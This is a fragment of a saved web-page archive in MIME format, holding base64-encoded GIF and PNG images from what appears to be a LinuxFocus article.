+nTFSUYTwiIiK6fdF6+9yopbg7vdV++RxtTfNhbLy7eH+roHLyf48gAzUQcvH3o3bICMJqjVV/WR D4z1OKgMZyqbbVUxGP97f1OTy8NoLloHIwyl36cezfUqZYT6NUz1FetPOlZXx+2Xn7VPNKaiSVh8 omGtBOzg/O/7ftsuJKMJpO1n2zeDo9Vre/cM56uihc7tO3gttQ6ut5WwW+f0KucSt1bc+u1QRMyR bV7izYZd3v5dzfd85fRD/L0xkdGEsHWpQPnP1ZheXbF8zR88JVVvzJveSYeXGraaUF8Yon6tg8c3 uLpk8UYe56+8oNZBFFMBcfrn4rcnVlz8ams7q6/k3W0efD2XbRidK5XW99LpBx/c4JFnmW+zbQff aWT5FMOBN7DVqK1fFLh1icvp94BHlkm93vF4/Lebj8djqM5jNj2yE731t5W2Y65WXm1V5cNKWCka OWy089ybVi+1jjGd5/9cLIHj4mfEOSn6laKRQ7t29pLRwyympTNNJDrvtCtFX1I0ctg+S3kutbv4 qLsayqsd7+2zf2/9bSvatbe7ZfcTj+SEtgdGLy/RMqZl9NBffyGdjmodAOnIaIC4ZDRAXJ1mtCIs kEIvGS2UgYyCfhd86xJmUQt0Jeg4esri5x/jP339BOhK0IwuGUEDHUqT0aXHH+XC1cfPx+YfbxxA C0Hr0ZN54M6zdXEru3KhIAZuIPo4epHLq8vndu8+CpBI9Iwe/j5tuBg1l49cXQ6QVIKMXrVVzRDT wJ2kzOh6BCt0ALeR6Zzh8Cd/n8/n/PqNqQY9LdmKafEN5OL6B4C4UtY6ADohowHiktEAcclogLhk NEBcMhogLhkNEJeMBohLRgPEJaMB4pLRAHH9Px/a2O4cxRF+AAAAAElFTkSuQmCC ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/art_02_01.gif R0lGODdhLAF4AIAAAAAAAP///ywAAAAALAF4AAAC/oyPqcvtD6OctNqLs968+w+G4kiW5omm6sq2 7gvH8kzX9o3n+s73/g8MCofEorEBSCqXzKbzCY1Kp9Sq9Yp9HrcIAPeL8YKP4rEZUj7j0gm2+n1w w2XN7vxukOMX2T50P6cHaGeiJThIhuhwyLGkwKg4BAk4OVIZ+XN5pwnCibnj+RbaMerilfQYIYcq VGrmqgGrUhYqKLtyy5VrsVsYp5SX5hj3yzrs02uUPLEsoicmnEdcPN0cYt0Kg/0RLR3QTcvnve1B nql9XmwM/D3eBrye/kloKh+mZo6MPq/LT2+JxN+WfD221ZkmsAhBHrX8MEmoDGItZk7aQSSyENSF /krHEF4MklHHxA0hP8aSuLGRyWwJR8ZyCDOmzJk0+6DktTInpZQ6e8Jx6TMoGKBCi0bEaTSpQp5K mwIh6jRqDqhSq9KganVlzSpMKWz9qiUrrrFId4pNsRCrqLNoyVYoWY/tibRd8cCNmtYPortOn7F6 5ImvPbkAxdkq21OwUlvrGkPzJi6o4qR+oXUcd2gyQ8K+GJyCDPkUu8g+NRdlbBnVw3ikE3MuQVfy axKxS88u3Fb27Wtgo2DsDRzL7pu5iw/nVxuF6eNxjc9l7i/5c+jzCP5VTr268ofYs2MiF7az1ODh QRb6Ix6vW/Ow0cO2Kn0w7/K41c/CeJ6+M/jr/p/mr5heX55dp9JUAbWn3zX8GdaJSNyBZgmAATaF WjB/sfPYgOSBtd1ltC0IWGrGALYIKBUt12BVh2Xo0TejpTLVixCegSJLfDhGDWsw2riWiv3J9wqI 3bWyYZHu2eecd6/FpyRhRnrYZJRSTinWk1ZCSSWNm2Rp15ZcBuLllz3+JCaZYJaJT5hojsEJgYaJ GIyLtFx4j4pX4sfMjF1kyGeLbKh12o/65GmRZ9W4A+GfdVEoaEFe6YlQn4Uq+g+h4zW6GaGZHWpR OJ0i+paQ0/GoCiOpTTonPMMAKlRlaFh6w2G8lVPnpQw+cEmNcr6oKymi7gnnrqCGeGVMagp4W6OI n4W2qYN19FqgrbcKw6eMldbgIbQk/UqNsMLq2AaeZko7JHvjIlnuU8Vaye2Ha/p437vj3Slvvfbe i2+++u7Lb7/+/gtwwAIPTHDBBh+McMIKL8xwww7PVgAAOw== ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/art_02_02.gif R0lGODdhEQFAAIAAAAAAAP///ywAAAAAEQFAAAAC/oyPqcvtD6OctNqLs968+w+G4kiW5omm6sq2 7gvHsgjU9o3n+s73/g8MCoe3mVEFOCpZyaUT1HxKadNqJmrNXrXcCLYLhnzD5DH5jDCjtep12f2G w9vyJ72eveOP+r207xcDGKg0SNhieCiTqJjC2OjyCFkiOYlkWYhZVan5wdlJ8gm6IToKZRpZhDpT ujqB47oYi2QzK2jrWIP70rrbUOvLFEypO3xpTNOL/KC8bNDsvADtS1RtfY2drb3N3d0dKgEoHk7u VS52roA1bt6O7s4MDu/A/m4fP/+bnrC+r5/PoB4+KgCl+Qt40GBBdQkD9FvIr2FEiGnk3aMnsSLF /gMCMS58ePFfSIQbn1kciNLjSIUrGZZ0KBLmy44xVab0lJFjTpMzd8rUME1nnpM2i9Y8SrLlRKU+ MQTFOYJm0ptTjVZFynILJTZEsbpkKhQsT7E/tXa1c7Zs2WJfw2pc+UUg26Ucx4h6qtZhn7m/9to9 +/ctXatZ3Y5NqSbu4bxoNd5p8nixS8VRC6tVZZjvYsyS88YFlhn05tFDHeOLzNi04FODOx8OPBhy azOfYfOkLBT3pomoe59u7cF2ZrfCSevunDg26dzAnVD27RG6YajTX3O+LPrycte1dReba7f41fGW r2oO3/ZZ8fNEk/ec556s1PL003ttbp98/g7zaPf7xw/gavcJqF+A1dVnoGv/EcifT/0lmNqCB0qo IIQPMkhhhBBacOGEFjoI4nvyhThiVN6ciGKKKq7IYorRvAhjjDLOSGONNt6IY4467shjjz7+CGSQ Qg5JZJFGHolkkkouyWSTFBQAADs= ------=_NextPart_000_0007_01C0F71D.98C08540--